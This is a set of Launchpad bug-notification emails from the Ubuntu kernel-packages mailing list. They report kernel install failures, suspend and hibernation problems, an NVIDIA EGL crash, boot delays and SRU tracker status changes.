[Kernel-packages] [Bug 1774797] Re: Trid partial upgrade.
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1774797 Title: Trid partial upgrade. Status in linux package in Ubuntu: Expired Bug description: Failure during inssstall ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-image-4.4.0-127-generic 4.4.0-127.153 ProcVersionSignature: Ubuntu 4.4.0-127.153-generic 4.4.128 Uname: Linux 4.4.0-127-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: john 2399 F pulseaudio /dev/snd/controlC0: john 2399 F pulseaudio /dev/snd/controlC1: john 2399 F pulseaudio CurrentDesktop: Unity Date: Sat Jun 2 17:17:58 2018 HibernationDevice: RESUME=UUID=b75950d0-1553-48fc-83b8-e8c7d0b5d796 InstallationDate: Installed on 2016-08-22 (648 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) MachineType: System manufacturer System Product Name ProcFB: 0 radeondrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-127-generic root=UUID=440fc4e4-fcb3-495f-a3d3-2a6e46c0dac3 ro quiet splash RelatedPackageVersions: linux-restricted-modules-4.4.0-127-generic N/A linux-backports-modules-4.4.0-127-generic N/A linux-firmware 1.157.19 RfKill: SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 03/09/2016 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2001 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: A88XM-E dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2001:bd03/09/2016:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnA88XM-E:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1774797/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1774994] Re: Laptop wakes up immediately after suspend or hibernation
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1774994 Title: Laptop wakes up immediately after suspend or hibernation Status in linux package in Ubuntu: Expired Bug description: After going into suspend (via command line or lid close), the MacBook Pro (early 2015) wakes up immediately again. Same for hibernation. Running Ubuntu 18.04. extract from dmesg for a lid-close -> suspend -> wake-up -> lid-open cycle: [0.00] Linux version 4.15.0-22-generic (buildd@lgw01-amd64-013) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 (Ubuntu 4.15.0-22.24-generic 4.15.17) [ ... ] [ 778.968982] brcmfmac: brcmf_inetaddr_changed: fail to get arp ip table err:-23 [ 783.011399] PM: suspend entry (deep) [ 783.011400] PM: Syncing filesystems ... done. [ 783.028538] Freezing user space processes ... (elapsed 0.002 seconds) done. [ 783.030844] OOM killer disabled. [ 783.030844] Freezing remaining freezable tasks ... (elapsed 0.001 seconds) done. [ 783.032193] Suspending console(s) (use no_console_suspend to debug) [ 783.049960] sd 1:0:0:0: [sda] Synchronizing SCSI cache [ 783.054107] sd 1:0:0:0: [sda] Stopping disk [ 783.146124] thunderbolt :07:00.0: suspending... [ 783.146685] thunderbolt :07:00.0: suspend finished [ 783.146689] thunderbolt :07:00.0: stopping RX ring 0 [ 783.146698] thunderbolt :07:00.0: disabling interrupt at register 0x38200 bit 12 (0x1001 -> 0x1) [ 783.146710] thunderbolt :07:00.0: stopping TX ring 0 [ 783.146718] thunderbolt :07:00.0: disabling interrupt at register 0x38200 bit 0 (0x1 -> 0x0) [ 783.146725] thunderbolt :07:00.0: control channel stopped [ 783.246464] ACPI: Preparing to enter system sleep state S3 [ 783.418015] ACPI: EC: event blocked [ 783.418016] ACPI: EC: EC stopped [ 783.418018] PM: Saving platform NVS memory [ 783.418027] Disabling non-boot CPUs ... [ 783.434574] IRQ 65: no longer affine to CPU1 [ 783.435629] smpboot: CPU 1 is now offline [ 783.454574] IRQ 66: no longer affine to CPU2 [ 783.456378] smpboot: CPU 2 is now offline [ 783.478405] IRQ 21: no longer affine to CPU3 [ 783.478414] IRQ 43: no longer affine to CPU3 [ 783.478435] IRQ 71: no longer affine to CPU3 [ 783.479449] smpboot: CPU 3 is now offline [ 783.481656] ACPI: Low-level resume complete [ 783.481733] ACPI: EC: EC started [ 783.481734] PM: Restoring platform NVS memory [ 783.482160] Enabling non-boot CPUs ... [ 783.482240] x86: Booting SMP configuration: [ 783.482241] smpboot: Booting Node 0 Processor 1 APIC 0x2 [ 783.558589] cache: parent cpu1 should not be sleeping [ 783.687159] CPU1 is up [ 783.687212] smpboot: Booting Node 0 Processor 2 APIC 0x1 [ 783.687812] cache: parent cpu2 should not be sleeping [ 783.688001] CPU2 is up [ 783.688028] smpboot: Booting Node 0 Processor 3 APIC 0x3 [ 783.783709] cache: parent cpu3 should not be sleeping [ 783.978233] CPU3 is up [ 783.982020] ACPI: Waking up from system sleep state S3 [ 784.093246] pcieport :06:03.0: quirk: waiting for thunderbolt to reestablish PCI tunnels... [ 784.093249] pcieport :06:04.0: quirk: waiting for thunderbolt to reestablish PCI tunnels... [ 784.093362] pcieport :06:06.0: quirk: waiting for thunderbolt to reestablish PCI tunnels... [ 784.093475] pcieport :06:05.0: quirk: waiting for thunderbolt to reestablish PCI tunnels... [ 784.112655] thunderbolt :07:00.0: control channel starting... [ 784.112660] thunderbolt :07:00.0: starting TX ring 0 [ 784.112673] thunderbolt :07:00.0: enabling interrupt at register 0x38200 bit 0 (0x0 -> 0x1) [ 784.112677] thunderbolt :07:00.0: starting RX ring 0 [ 784.112689] thunderbolt :07:00.0: enabling interrupt at register 0x38200 bit 12 (0x1 -> 0x1001) [ 784.112696] thunderbolt :07:00.0: resuming... [ 784.112699] thunderbolt :07:00.0: resetting switch at 0 [ 784.113249] thunderbolt :07:00.0: 0: resuming switch [ 784.144609] thunderbolt :07:00.0: resume finished [ 784.213878] thunderbolt :07:00.0: resetting error on 0:b. [ 784.213897] thunderbolt :07:00.0: 0:b: hotplug: scanning [ 784.213901] thunderbolt :07:00.0: 0:b: hotplug: no switch found [ 784.213984] thunderbolt :07:00.0: resetting error on 0:c. [ 784.213995] thunderbolt :07:00.0: 0:c: hotplug: scanning [ 784.213999] thunderbolt :07:00.0: 0:c: hotplug: no switch found [ 785.225640] ACPI: EC: event unblocked [ 785.226264] brcmfmac: brcmf_fil_cmd_data: bus is down. we have nothing to do. [ 785.226273] ACPI: button: The lid device is not co
[Kernel-packages] [Bug 1774881] Re: package linux-image-4.15.0-20-generic 4.15.0-20.21 failed to install/upgrade: installed linux-image-4.15.0-20-generic package pre-removal script subprocess returned
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1774881 Title: package linux-image-4.15.0-20-generic 4.15.0-20.21 failed to install/upgrade: installed linux-image-4.15.0-20-generic package pre- removal script subprocess returned error exit status 1 Status in linux package in Ubuntu: Expired Bug description: Happened after a reboot after a kernel update. ProblemType: Package DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-20-generic 4.15.0-20.21 ProcVersionSignature: Ubuntu 4.15.0-22.24-generic 4.15.17 Uname: Linux 4.15.0-22-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.1 Architecture: amd64 Date: Sun Jun 3 17:41:51 2018 ErrorMessage: installed linux-image-4.15.0-20-generic package pre-removal script subprocess returned error exit status 1 InstallationDate: Installed on 2018-01-21 (132 days ago) InstallationMedia: Xubuntu 17.10 "Artful Aardvark" - Release amd64 (20180105) Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.1 SourcePackage: linux-signed Title: package linux-image-4.15.0-20-generic 4.15.0-20.21 failed to install/upgrade: installed linux-image-4.15.0-20-generic package pre-removal script subprocess returned error exit status 1 UpgradeStatus: Upgraded to bionic on 2018-04-30 (34 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1774881/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1775044] Re: continuously freeze the system
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1775044 Title: continuously freeze the system Status in linux package in Ubuntu: Expired Bug description: I am unable to use the system properly because it is continuously freezing, please fix the problems ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: linux-image-4.13.0-43-generic 4.13.0-43.48 ProcVersionSignature: Ubuntu 4.13.0-43.48-generic 4.13.16 Uname: Linux 4.13.0-43-generic i686 ApportVersion: 2.20.7-0ubuntu3.9 Architecture: i386 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: gunikhan 1720 F pulseaudio CurrentDesktop: Unity:Unity7:ubuntu Date: Mon Jun 4 23:12:31 2018 HibernationDevice: RESUME=UUID=1a5d8668-3638-45e8-8ca9-921f550d0b82 InstallationDate: Installed on 2018-03-01 (95 days ago) InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release i386 (20170412) MachineType: Dell Inc. Vostro 1015 ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-43-generic root=UUID=ee099561-bdde-44f5-b4cc-fbd3241f4922 ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-4.13.0-43-generic N/A linux-backports-modules-4.13.0-43-generic N/A linux-firmware 1.169.3 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 11/26/2010 dmi.bios.vendor: Dell Inc. dmi.bios.version: A06 dmi.board.name: 0TFXK9 dmi.board.vendor: Dell Inc. dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvrA06:bd11/26/2010:svnDellInc.:pnVostro1015:pvr:rvnDellInc.:rn0TFXK9:rvr:cvnDellInc.:ct8:cvr: dmi.product.name: Vostro 1015 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775044/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785242] Re: linux: 4.17.0-7.8 -proposed tracker
** Changed in: kernel-sru-workflow/prepare-package Status: In Progress => Fix Released ** Changed in: kernel-sru-workflow/prepare-package-meta Status: In Progress => Fix Released ** Changed in: kernel-sru-workflow/prepare-package-signed Status: In Progress => Fix Released ** Changed in: kernel-sru-workflow/promote-to-proposed Status: New => Fix Committed ** Tags added: block-proposed-cosmic ** Tags added: block-proposed ** Description changed: This bug is for tracking the 4.17.0-7.8 upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow + + kernel-phase-changed:Saturday, 04. August 2018 04:00 UTC + kernel-phase:Uploaded ** Description changed: This bug is for tracking the 4.17.0-7.8 upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow kernel-phase-changed:Saturday, 04. August 2018 04:00 UTC kernel-phase:Uploaded + + -- swm properties -- + phase: Uploaded -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785242 Title: linux: 4.17.0-7.8 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Committed Status in Kernel SRU Workflow promote-to-release series: New Status in Kernel SRU Workflow regression-testing series: New Status in linux package in Ubuntu: Confirmed Status in linux source package in Cosmic: Confirmed Bug description: This bug is for tracking the 4.17.0-7.8 upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow kernel-phase-changed:Saturday, 04. August 2018 04:00 UTC kernel-phase:Uploaded -- swm properties -- phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1785242/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1731968] Re: 384.90-0ubuntu0.16.04.2 EGL crashes at startup
This is still a problem in 396.45 on Ubuntu 16.04. The minimal test case fails, and EGL doesn't work cleanly. Tested on clean installation with an Nvidia Titan Xp and Titan X (Pascal). ** Also affects: nvidia-graphics-drivers-390 (Ubuntu) Importance: Undecided Status: New ** Also affects: nvidia-graphics-drivers (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu. https://bugs.launchpad.net/bugs/1731968 Title: 384.90-0ubuntu0.16.04.2 EGL crashes at startup Status in nvidia-graphics-drivers package in Ubuntu: New Status in nvidia-graphics-drivers-384 package in Ubuntu: Confirmed Status in nvidia-graphics-drivers-390 package in Ubuntu: New Bug description: Release: Ubuntu 16.04.3 LTS Package version: 384.90-0ubuntu0.16.04.2 In the latest driver 384.90-0ubuntu0.16.04.2, EGL initialisation is now broken and the GL context returned is inconsistent leading to crashes. I have prepared a minimised testcase that showcases the problem with the latest driver. I have also made sure it works fine with both previous versions 384.90-0ubuntu0.16.04.1 and 384.81-0ubuntu1 in a clean install. Here's the code: https://gist.github.com/funchal/bff0a8d6dae5b3ace1a88c392416b5bc It can be compiled using "gcc main.c -lGL -lEGL". The crash is: egl 1.4 a.out: main.c:59: main: Assertion `renderer' failed. Aborted (core dumped) This is caused by NULL return from glGetString for GL renderer. Note this isn't the only way to cause a crash, for example attempting to use the GL context in other ways will also crash, but this shows the regression in a minimal testcase. Previous drivers successfully complete the testcase with return code 0. I have tested this on both a desktop machine with a GTX 1080, and a display-less server with a Tesla K80, with a fresh Ubuntu install. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers/+bug/1731968/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784302] Re: linux: 4.4.0-132.158 -proposed tracker
** Changed in: kernel-sru-workflow/automated-testing Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784302 Title: linux: 4.4.0-132.158 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Incomplete Status in Kernel SRU Workflow certification-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: Confirmed Status in Kernel SRU Workflow snap-certification-testing series: New Status in Kernel SRU Workflow snap-release-to-beta series: Confirmed Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: Confirmed Status in Kernel SRU Workflow snap-release-to-stable series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux package in Ubuntu: Invalid Status in linux source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784303 (linux-aws), bug 1784304 (linux-lts-xenial) derivatives: bug 1784306 (linux-aws), bug 1784308 (linux-euclid), bug 1784310 (linux-kvm), bug 1784311 (linux-raspi2), bug 1784312 (linux-snapdragon) -- swm properties -- boot-testing-requested: true bugs-spammed: true phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784302/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1724265] Re: Unexpected memory allocation failure in hibernation snapshot (swsusp)
I am experiencing what I think is the same problem with kernel 4.17.0-996-generic. ** Attachment added: "journalctl with 2 hibernation attempts" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1724265/+attachment/5171300/+files/journalctl.log -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1724265 Title: Unexpected memory allocation failure in hibernation snapshot (swsusp) Status in linux package in Ubuntu: Confirmed Bug description: In kernel 4.4.0-97, the system snapshot can fail during suspend-to- disk or -to-both even though the routine swsusp_save() believes that there is enough memory for the snapshot. What I expected to happen = After 'systemctl hibernate' or 'systemctl hybrid-sleep', the requested suspend state is reached, or a diagnostic is provided. What happened instead = After 'systemctl hibernate' or 'systemctl hybrid-sleep', system returns to normal desktop with no visible diagnostic after 'systemctl hibernate' or 'systemctl hybrid sleep'. System log/journal shows diagnostics and backtrace, as attached: ... Oct 17 10:51:45 Spiridion kernel: PM: Creating hibernation image: Oct 17 10:51:45 Spiridion kernel: PM: Need to copy 174616 pages Oct 17 10:51:45 Spiridion kernel: PM: Normal pages needed: 112567 + 1024, available pages: 115651 Oct 17 10:51:45 Spiridion kernel: s2both: page allocation failure: order:0, mode:0x2080120 ... Oct 17 10:51:45 Spiridion kernel: [] dump_stack+0x58/0x79 Oct 17 10:51:45 Spiridion kernel: [] warn_alloc_failed+0xd6/0x110 Oct 17 10:51:45 Spiridion kernel: [] __alloc_pages_slowpath.constprop.104+0x6c4/0x970 Oct 17 10:51:45 Spiridion kernel: [] ? __alloc_pages_nodemask+0x226/0x280 Oct 17 10:51:45 Spiridion kernel: [] __alloc_pages_nodemask+0x226/0x280 Oct 17 10:51:45 Spiridion kernel: [] alloc_image_page+0x1f/0x40 Oct 17 10:51:45 Spiridion kernel: [] swsusp_save+0x148/0x4b0 ... And the concluding entries after the memory debugging output: Oct 17 10:51:45 Spiridion kernel: PM: Memory allocation failed Oct 17 10:51:45 Spiridion kernel: PM: Error -12 creating hibernation image At this point the swsusp_save() function has successfully checked for free memory enough_free_mem(nr_pages, nr_highmem) and then called swsusp_alloc(&orig_bm, ©_bm, nr_pages, nr_highmem) So either enough_free_mem() is not sufficiently accurate or conservative, or swsusp_alloc() is not sufficiently aggressive in using the available memory. This code seems to be the same at least down to the call to alloc_image_page() in later versions, eg 4.13.7. The functions 'systemctl hibernate', 'systemctl hybrid-sleep' have been seen to work as expected in the identical configuration when the system memory is more lightly loaded (eg "PM: Need to copy 103159 pages"). ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-image-generic 4.4.0.97.102 ProcVersionSignature: Ubuntu 4.4.0-97.120-generic 4.4.87 Uname: Linux 4.4.0-97-generic i686 ApportVersion: 2.20.1-0ubuntu2.10 Architecture: i386 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: df 2143 F pulseaudio CurrentDesktop: LXDE Date: Tue Oct 17 14:52:34 2017 HibernationDevice: #RESUME=UUID=0107bf90-3e69-4f56-9a92-3477dd28b31c InstallationDate: Installed on 2017-02-12 (247 days ago) InstallationMedia: LXLE 16.04 - Release i386 MachineType: Dell Inc. Inspiron 1520 ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-97-generic root=UUID=b71d2286-3b2f-4856-a258-2f6bcf088c70 ro zswap.enabled=1 resume=UUID=b71d2286-3b2f-4856-a258-2f6bcf088c70 resume_offset=2363392 quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-4.4.0-97-generic N/A linux-backports-modules-4.4.0-97-generic N/A linux-firmware1.157.12 RfKill: 0: phy0: Wireless LAN Soft blocked: no Hard blocked: no SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/11/2008 dmi.bios.vendor: Dell Inc. dmi.bios.version: A09 dmi.board.name: 0KY767 dmi.board.vendor: Dell Inc. dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvrA09:bd07/11/2008:svnDellInc.:pnInspiron1520:pvr:rvnDellInc.:rn0KY767:rvr:cvnDellInc.:ct8:cvr: dmi.product.name: Inspiron 1520 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1724265/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1502155] Re: [20AQ0069GE, Realtek ALC3232, Speaker, Internal] crackling sound while booting Unity-Desktop
This solved the issue for me: https://ubuntuforums.org/showthread.php?t=2338349 Basically, what I did was Start alsamixer with this command: alsamixer -c1 And then: 1. Navigate to the Loopback channel rightmost with arrow-key 2. Disable the Channel by pressing the arrow-down-key once 3. Save and quit the alsamixer with ESC Reboot. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1502155 Title: [20AQ0069GE, Realtek ALC3232, Speaker, Internal] crackling sound while booting Unity-Desktop Status in linux package in Ubuntu: Invalid Bug description: Machine is an T440s. Todays Daily Build of Ubuntu Unity, but was also on Ubuntu 15.10 Beta While booting into Desktop a crackling sound appears (like connect speakers or headphones to a music player if not muted) and it sounds very unhealthy to the speakers. When using Debian Testing I have the issue while booting. With Fedora 23 Beta its also the same while booting. Always this unhealthy sounding crackling noise and then working normal after booting is finished. Muting is working, volume selecting is working without any issues, just while booting to Desktop there seems to be something not working properly while initializing internal speakers. On latest Ubuntu 14.04.3 there is no crackling while booting. Just booting normally into Desktop. You can hear that the speakers are initialized with a very silent plopping sound (as also in Debian Stable) but I think I start observing it just because of this crackling sound before. I was running Ubuntu 14.04.2 plus LTS Enabled Stack before and there were also no such issues. ProblemType: Bug DistroRelease: Ubuntu 15.10 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.2.0-12.14-generic 4.2.1 Uname: Linux 4.2.0-12-generic x86_64 ApportVersion: 2.19-0ubuntu1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC1D0p: ubuntu 1987 F...m pulseaudio /dev/snd/controlC1: ubuntu 1987 F pulseaudio /dev/snd/controlC0: ubuntu 1987 F pulseaudio CasperVersion: 1.365 CurrentDesktop: Unity Date: Fri Oct 2 13:32:32 2015 LiveMediaBuild: Ubuntu 15.10 "Wily Werewolf" - Alpha amd64 (20151002) PackageArchitecture: all ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH successful Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_Jack: Speaker, Internal Symptom_PulsePlaybackTest: PulseAudio playback test successful Symptom_Type: None of the above Title: [20AQ0069GE, Realtek ALC3232, Speaker, Internal] Playback problem UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/22/2015 dmi.bios.vendor: LENOVO dmi.bios.version: GJET84WW (2.34 ) dmi.board.asset.tag: Not Available dmi.board.name: 20AQ0069GE dmi.board.vendor: LENOVO dmi.board.version: 0B98401 PRO dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvrGJET84WW(2.34):bd06/22/2015:svnLENOVO:pn20AQ0069GE:pvrThinkPadT440s:rvnLENOVO:rn20AQ0069GE:rvr0B98401PRO:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.name: 20AQ0069GE dmi.product.version: ThinkPad T440s dmi.sys.vendor: LENOVO --- ApportVersion: 2.19-0ubuntu1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: ubuntu 2025 F pulseaudio /dev/snd/controlC0: ubuntu 2025 F pulseaudio CasperVersion: 1.365 CurrentDesktop: Unity DistroRelease: Ubuntu 15.10 LiveMediaBuild: Ubuntu 15.10 "Wily Werewolf" - Alpha amd64 (20151002) MachineType: LENOVO 20AQ0069GE Package: linux (not installed) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/casper/vmlinuz.efi file=/cdrom/preseed/username.seed boot=casper quiet splash --- ProcVersionSignature: Ubuntu 4.2.0-12.14-generic 4.2.1 RelatedPackageVersions: linux-restricted-modules-4.2.0-12-generic N/A linux-backports-modules-4.2.0-12-generic N/A linux-firmware1.148 Tags: wily UdevLog: Error: [Errno 2] No such file or directory: '/var/log/udev' Uname: Linux 4.2.0-12-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 06/22/2015 dmi.bios.vendor: LENOVO dmi.bios.version: GJET84WW (2.34 ) dmi.board.asset.tag: Not Available dmi.board.name: 20AQ0069GE dmi.board.vendor: LENOVO dmi.board.version: 0B98401 PRO dmi.chassis.asset.tag:
[Kernel-packages] [Bug 1785326] Re: The booting is too long with drm_atomic_helper_wait_for_dependencies errors (xenial+hwe, bionic).
** Attachment added: "dmesg.txt" https://bugs.launchpad.net/ubuntu/+source/linux-signed/+bug/1785326/+attachment/5171288/+files/dmesg.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-signed in Ubuntu. https://bugs.launchpad.net/bugs/1785326 Title: The booting is too long with drm_atomic_helper_wait_for_dependencies errors (xenial+hwe,bionic). Status in linux-signed package in Ubuntu: New Bug description: 1,2) Please see the apport attachments 3) Fast booting without errors as with xenial non-hwe kernels 4) The booting is too long The errors are similar to this: [drm:drm_atomic_helper_wait_for_dependencies [drm_kms_helper]] *ERROR* [CRTC:41:pipe B] flip_done timed out [drm:drm_atomic_helper_wait_for_dependencies [drm_kms_helper]] *ERROR* [PLANE:35:plane B] flip_done timed out The errors appears on Toshiba Satellite L300-11Q. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-20-generic 4.15.0-20.21 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: LXDE Date: Fri Aug 3 20:34:23 2018 LiveMediaBuild: Lubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=ru_RU.UTF-8 SHELL=/bin/bash SourcePackage: linux-signed UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-signed/+bug/1785326/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785326] [NEW] The booting is too long with drm_atomic_helper_wait_for_dependencies errors (xenial+hwe, bionic).
